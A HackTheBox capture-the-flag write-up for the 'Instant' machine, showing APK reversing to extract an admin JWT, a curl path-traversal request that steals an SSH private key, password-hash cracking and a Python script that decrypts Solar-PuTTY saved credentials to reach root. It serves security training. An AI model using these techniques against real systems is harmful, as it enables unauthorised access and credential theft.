HTB: Instant Writeup

Instant - HackTheBox Writeup

Machine Information

AttributeDetails
NameInstant
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.231.155
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Instant is a Medium-difficulty Linux box built around a fake fintech mobile app (“Instant Wallet”). The web front end at instant.htb only advertises an APK download — all the actual attack surface lives in the decompiled app and in a backend API on a separate vhost. Reversing the APK surfaces a hardcoded admin JWT and two hidden subdomains, one of which exposes an admin log-viewer endpoint vulnerable to path traversal / arbitrary file read. That primitive is used to walk out of the log directory and steal a user’s SSH private key directly off disk. From there, a leftover SQLite database yields a crackable PBKDF2-SHA256 password hash, and that password turns out to be the key needed to decrypt an encrypted Solar-PuTTY session backup — which contains the plaintext root password.

TL;DR: APK reverse engineering → hardcoded admin JWT + hidden API subdomains → admin log-read endpoint → path traversal to ../.ssh/id_rsa → SSH as shirohige → user.txt → crack PBKDF2-SHA256 hash from app’s SQLite DB (rockyou) → password reused as the decryption key for a Solar-PuTTY sessions-backup.dat (3DES-CBC) → root’s plaintext SSH password recovered → su - root → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan against the target
nmap -sC -sV -T4 -p- 10.129.231.155

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — Apache, redirecting to the instant.htb vhost

Added the hostname to the local resolver so the vhost would render:

Terminal window
echo "10.129.231.155 instant.htb" | sudo tee -a /etc/hosts

Service Enumeration

The site at instant.htb is a marketing page for “Instant Wallet,” a mobile finance app, with a direct download link for instant.apk. No further web endpoints were exposed on the main vhost — the interesting surface was inside the app itself.

Terminal window
# Pull the APK down locally for static analysis
curl -o instant.apk http://instant.htb/instant.apk
unzip -o instant.apk -d instant_apk

Grepping the unpacked classes.dex and resource strings for anything referencing instant.htb turned up:

  • A hardcoded Admin JWT baked into an activity class.
  • Two hidden subdomains referenced by the app’s API client: mywalletv1.instant.htb and swagger-ui.instant.htb.
Terminal window
# Static string search across the decompiled/unpacked APK contents
grep -r "instant.htb" instant_apk/ 2>/dev/null
grep -rE "eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+" instant_apk/ 2>/dev/null

Both subdomains were added to /etc/hosts:

Terminal window
echo "10.129.231.155 mywalletv1.instant.htb swagger-ui.instant.htb" | sudo tee -a /etc/hosts

swagger-ui.instant.htb served the API’s Swagger docs, mapping out the full endpoint list (auth, wallet, transactions, and an admin log-viewing namespace) and which routes require the bearer token.

Vulnerability Assessment

  • Hardcoded, long-lived Admin JWT shipped inside a public APK — trivial credential leakage.
  • Admin API log endpoints (/api/v1/admin/view/logs, /api/v1/admin/read/log) take a client-supplied filename with no path sanitization — arbitrary file read via path traversal, no CVE assigned (custom application logic flaw rather than a known library vulnerability).

Initial Foothold

Exploitation Path

With the hardcoded Admin JWT in hand, the admin log-listing endpoint was queried directly:

Terminal window
# Enumerate what log files the admin API can see
curl -s "http://mywalletv1.instant.htb/api/v1/admin/view/logs" \
-H "Authorization: <ADMIN_JWT>" | jq

The response leaked a filesystem path under a non-admin user’s home directory: /home/shirohige/logs/ — confirming a second, lower-privileged system user, shirohige, existed on the box.

The companion read endpoint (/api/v1/admin/read/log?log_file_name=...) fetched the contents of files under that logs directory. Since the API concatenated the supplied filename onto the base logs path without stripping ../, it was straightforward to walk out of logs/ and into shirohige’s home directory — reaching for the SSH private key directly:

Terminal window
# Path traversal out of the logs directory into ~/.ssh
curl -s "http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa" \
-H "Authorization: <ADMIN_JWT>" | jq -r '.[][]' > id_rsa
chmod 600 id_rsa

This is the same class of bug as the underlying “Arbitrary File Read” primitive in the endpoint — because the parameter is only ever appended to a fixed base directory instead of being canonicalized and checked against it, any relative path segments the client sends are honored verbatim.

Terminal window
# Use the harvested key to log in as the leaked user
ssh -i id_rsa shirohige@instant.htb

user.txt was read straight from shirohige’s home directory after login.


Privilege Escalation

shirohige → root

The application’s project directory (pulled from shirohige’s account) contained a SQLite database backing the wallet app, instant.db. Copied it off the box via SCP with the same private key:

Terminal window
scp -i id_rsa shirohige@instant.htb:~/projects/mywallet/Instant-Api/mywallet/instance/instant.db .
sqlite3 instant.db "select * from wallet_users;"

The wallet_users table stored passwords as pbkdf2:sha256:<iterations>$<salt>$<hash> — Werkzeug’s default password hasher. shirohige’s hash was cracked live against rockyou.txt, recovering the plaintext password estrella.

Enumeration of the filesystem turned up a backup directory containing a Solar-PuTTY artifact, sessions-backup.dat. Solar-PuTTY is a Windows PuTTY-derivative terminal client that can persist saved sessions — including stored credentials and private keys — in an encrypted blob on disk. Rather than reaching for a Windows build of the public VoidSec decryptor, the format was reimplemented directly in Python after verifying against VoidSec’s published source that the cipher in use is 3DES-CBC (not AES, as some write-ups assume):

# Solar-PuTTY session-backup decryption
# Layout: salt = blob[:24], iv = blob[24:32], ciphertext = blob[48:]
# Key derivation: PBKDF2-HMAC-SHA1(password, salt) -> 3DES key
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1
import hashlib, hmac
data = open("sessions-backup.dat", "rb").read()
salt, iv, ct = data[:24], data[24:32], data[48:]
password = b"estrella" # recovered from the cracked PBKDF2-SHA256 hash
key = PBKDF2(password, salt, dkLen=24, count=1000,
prf=lambda p, s: hmac.new(p, s, SHA1).digest())
cipher = DES3.new(key, DES3.MODE_CBC, iv)
plaintext = cipher.decrypt(ct)
print(plaintext)

Decrypting the blob with the reused estrella password recovered a stored credential set — an SSH session to the box’s own root account, with the plaintext root password embedded in the decrypted JSON (Credentials[].Password).

Terminal window
su - root
# password: the plaintext value recovered from the decrypted Solar-PuTTY blob

root.txt was read from /root/.

Environment gotchas handled mid-solve

  • The jump/pivot host’s /tmp was 100% full — all scratch work and the decrypt script were run out of /dev/shm instead.
  • A stray leftover file /dev/shm/dis.py shadowed Python’s standard-library dis module when the interpreter’s CWD was /dev/shm; running Python from the home directory instead avoided the import collision.
  • Confirmed the Solar-PuTTY cipher was 3DES (not AES) by checking VoidSec’s actual decryptor source before writing the Python re-implementation, rather than assuming.

Attack Chain Summary

APK download & reverse engineer
Hardcoded Admin JWT + hidden subdomains (mywalletv1 / swagger-ui)
/api/v1/admin/view/logs → leaks user "shirohige"
/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa (path traversal / arbitrary file read)
SSH as shirohige → user.txt
instant.db (SQLite) → PBKDF2-SHA256 hash cracked (rockyou) → "estrella"
sessions-backup.dat (Solar-PuTTY) decrypted with "estrella" (3DES-CBC / PBKDF2-SHA1)
Plaintext root SSH password recovered
su - root → root.txt

Tools Used

ToolPurpose
nmapPort/service scanning
unzip / static grepUnpacking and searching the APK for secrets/endpoints
curl + jqInteracting with and formatting responses from the admin API
ssh / scpFoothold access and file exfiltration as shirohige
sqlite3Reading the app’s local wallet database
rockyou.txt wordlistCracking the PBKDF2-SHA256 (Werkzeug) password hash
Python (pycryptodome)Custom 3DES-CBC / PBKDF2-SHA1 Solar-PuTTY decryption

Key Learnings

Techniques Practiced

  • Static reverse engineering of an Android APK to recover hardcoded secrets and hidden API hosts.
  • Abusing an unauthenticated-by-design admin JWT leaked in client-side app code.
  • Exploiting an unsanitized filename parameter for path traversal / arbitrary file read.
  • Harvesting SSH private keys directly through a file-read primitive instead of a shell.
  • Cracking Werkzeug-style pbkdf2:sha256 password hashes.
  • Reverse-implementing a proprietary encrypted file format (Solar-PuTTY session backups) from a public reference tool rather than depending on a Windows-only binary.

Lessons Learned

  1. Mobile clients routinely embed secrets (JWTs, API hosts) that never should have shipped — decompiling the APK was the actual recon step here, not the web server.
  2. Any endpoint that builds a filesystem path by concatenating user input onto a base directory needs explicit canonicalization/allow-listing — string concatenation alone is not a sandbox boundary.
  3. Password reuse across services (an app-level password hash reused as a file-encryption passphrase) is a realistic pivot — cracking one hash can unlock unrelated encrypted artifacts elsewhere on the host.
  4. When a public decryption tool only exists as a Windows binary, verifying its source and reimplementing the crypto in whatever language you’re already working in is faster and more portable than standing up a VM.
  5. Environment hazards (full /tmp, stray files shadowing stdlib modules) can silently break tooling on a shared pivot host — always sanity-check the execution environment before trusting a script’s output.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Pho3, “Instant” — official HackTheBox writeup (Document No. D25.100.323), used for explanatory context on the APK/JWT discovery flow, the Werkzeug PBKDF2 hash format, and the Solar-PuTTY session-backup encryption scheme.